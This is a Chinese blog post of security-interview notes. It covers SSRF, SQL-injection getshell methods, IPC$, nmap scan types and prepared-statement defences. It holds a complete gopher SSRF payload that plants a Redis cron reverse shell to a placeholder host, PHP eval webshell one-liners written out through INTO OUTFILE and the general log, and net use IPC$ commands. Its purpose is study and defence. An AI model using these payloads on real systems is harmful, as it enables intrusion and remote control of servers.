问到的面试题,记一下,欢迎大佬补充和指正
什么是SSRF,怎么判断有SSRF,他有什么危害
SSRF是服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个安全漏洞,简单地说,就是利用一个可发起网络请求的服务当作跳板来攻击其他服务。
一般用来读取本机文件(file协议),端口存活(?url=127.0.0.1:1
,爆破端口),dict协议读取端口版本信息(?url=dict://127.0.0.1:22
),gopher通过redis反弹shell(假设网站路径为/var/www/html,且redis可未授权访问 ?url=gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
)
如何判断:利用dnslog生成url,然后用http协议访问即可。
危害:file协议等读取本地文件,探测内网IP,扫描内网端口,攻击内网或本地的应用程序
如果给定一个无验证码的网站,在提交参数未知的情况下该如何实现爆破,如何知道他爆破成功
获取参数
- 查找form表单里面的input参数,包括hidden的(有前端)
- 有时会有js对其进行处理,所以要找到处理的js(前端加密)
- 对常用参数进行爆破(无前端)
- 该页面下不同操作可能会有参数
爆破成功
- 看response的content-length
- 看跳转页面的不同
- 登录成功与否的response内容不同
find的原理是什么,linux上是否有比它更快的查找命令,原理是什么
原理是每次查询都遍历相应路径下的文件。
有,mlocate
/locate
命令,和everything相同,它在查找时是在一个数据库中进行查找/var/lib/mlocate/mlocate.db
,从而快速得到目标位置,所以在查找前最好先运行sudo updatedb
来更新数据库
给定一个网站,如何获取中间件信息,如何知道它开启了哪些服务
获取中间件信息
- 通过bp发包,查看response,一般来说response中会有
- 故意构造错误页面,可得到404页面,404页面中有时会存在该信息
服务探测
- 根据功能点来看相关的服务
- 根据网页图标(icon)判断OA等
- 有时又powered by xxxcms或在前端页面中存在xxxcms的字样。
- 端口探测,部分服务会开启一些其他端口
nmap探测端口存活的原理
192.168.80.128为ubuntu,且开放了tcp80端口
以nmap -sU -p 80 192.168.80.128
为例,看看wireshark抓的包
可以发现直接向该主机发送了一个UDP报文,然后128主机发送ICMP报文显示不可达,也就是该端口关闭了。
再以nmap -sT -p 80 192.168.80.128
为例,看到wireshark抓包为
可以看到,是经过TCP三次握手,建立连接之后确定端口开放。
再看-sY
参数,它是发送SCTP报文,扫描SCTP协议的端口开放情况。
也就是说,不同的参数,是让nmap发送不同的报文给对应端口。
能建立连接或有回应则开放或关闭(官方对于关闭端口的解释是:它接受Nmap的探测报文并作出响应)。而由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放则为过滤的。
sql getshell方法
如果是mysql,首先要看secure_file_priv环境变量,而且要知道读写的绝对路径。
1 | secure_file_priv = 空的时候 ,任意读写 |
select '<?php @eval($_POST[a]);?>' into 'xxxxxx/a.php'
开启general log并修改他的存储位置,然后执行
select '<?php @eval($_POST[a]);?>'
。sqlmap –os-shell,GPC为off,php主动转义的功能关闭,必须是root权限(原理和1基本相同,写一个可上传文件的php文件,然后再通过这个文件上传一个执行系统命令的文件即可达到getshell)
genneral log
慢查询日志(查询时间大于设置的值就会记录下来,之后和general log一样就行)
select "<?php @eval('$_POST['a']');?>" into outfile "绝对路径/xxx.php"
IPC$
https://mp.weixin.qq.com/s/-SNNLXB_iz8tUmRKMLr6nw
下面是他的概念
1 | IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。 |
利用条件:
1 | 开启了139、445端口 |
作用也很简单,就是资源共享,可以获取共享的这台计算机上的目录结构、 用户列表等信息。
资源共享之后,可以用at命令来启动文件,可以是exe文件,也可以写一个批处理文件进去
常用命令如下:
1 | net use \\127.0.0.1\ipc$ "password" /user:"username" #建立用户名、密码连接 |
预编译防sql注入
预编译之后计算机将用户输入的数据只当成数据了,而不会有当成语法进行运行的可能。(绝大部分可以直接防止注入,有时宽字节可绕)
原理
通常来说,一条SQL语句从传入到运行经历了生成语法树、执行计划优化、执行这几个阶段。在预编译过程中,数据库首先接收到带有预编译占位符?的SQL语句,解析生成语法树(Lex),并缓存在cache中,然后接收对应的参数信息,从cache中取出语法树设置参数,然后再进行优化和执行。由于参数信息传入前语法树就已生成,执行的语法结构也就无法因参数而改变,自然也就杜绝了SQL注入的出现。
再提一嘴,预编译可以分为客户端预编译和服务器端预编译。客户端预编译,是在代码处理时进行预编译。以java举例下面是常见的java预编译写法:
1 | public static ResultSet re_querySQL(String sql,Object...objs){ |
我们的sql语句需要这样写:
1 | String sql = "select * from user where uname=?;"; |
经过预编译后,我们查看日志:
,发现在进行sql查询时,依然为正常查询语句,但实际上已经进行了预编译。
服务器预编译,则需要手动开启:
1 | jdbc:mysql://localhost:3306/xxx?useServerPrepStmts=true&cachePrepStmts=true |
(嫌麻烦,我就直接用workbentch之类的直接执行语句了)日志如下:
可以看到,明显有占位符和赋值的操作。
值得注意的是,预编译一定要用占位符,而不能自己进行拼接,否则依然存在注入(废话)
经典操作:https://www.anquanke.com/post/id/190170
绕过
- 预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
- 在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。包括排序参数,也无法进行预编译。
- 部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。
mybatis中${}
与#{}
的区别
1 | 1. #将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号。如:order by #user_id#,如果传入的值是111,那么解析成sql时的值为order by "111", 如果传入的值是id,则解析成的sql为order by "id". |
app渗透流程
SSTI防护
render_template()不渲染
render_template_string()渲染
linux下/etc/shadow和/etc/passwd的区别
/etc/shadow保存了真正的密码,/etc/passwd只保存是否有密码(x表示有,空着表示没有)
/etc/shadow须root权限,/etc/passwd任意用户可读
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2021/03/30/面试/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!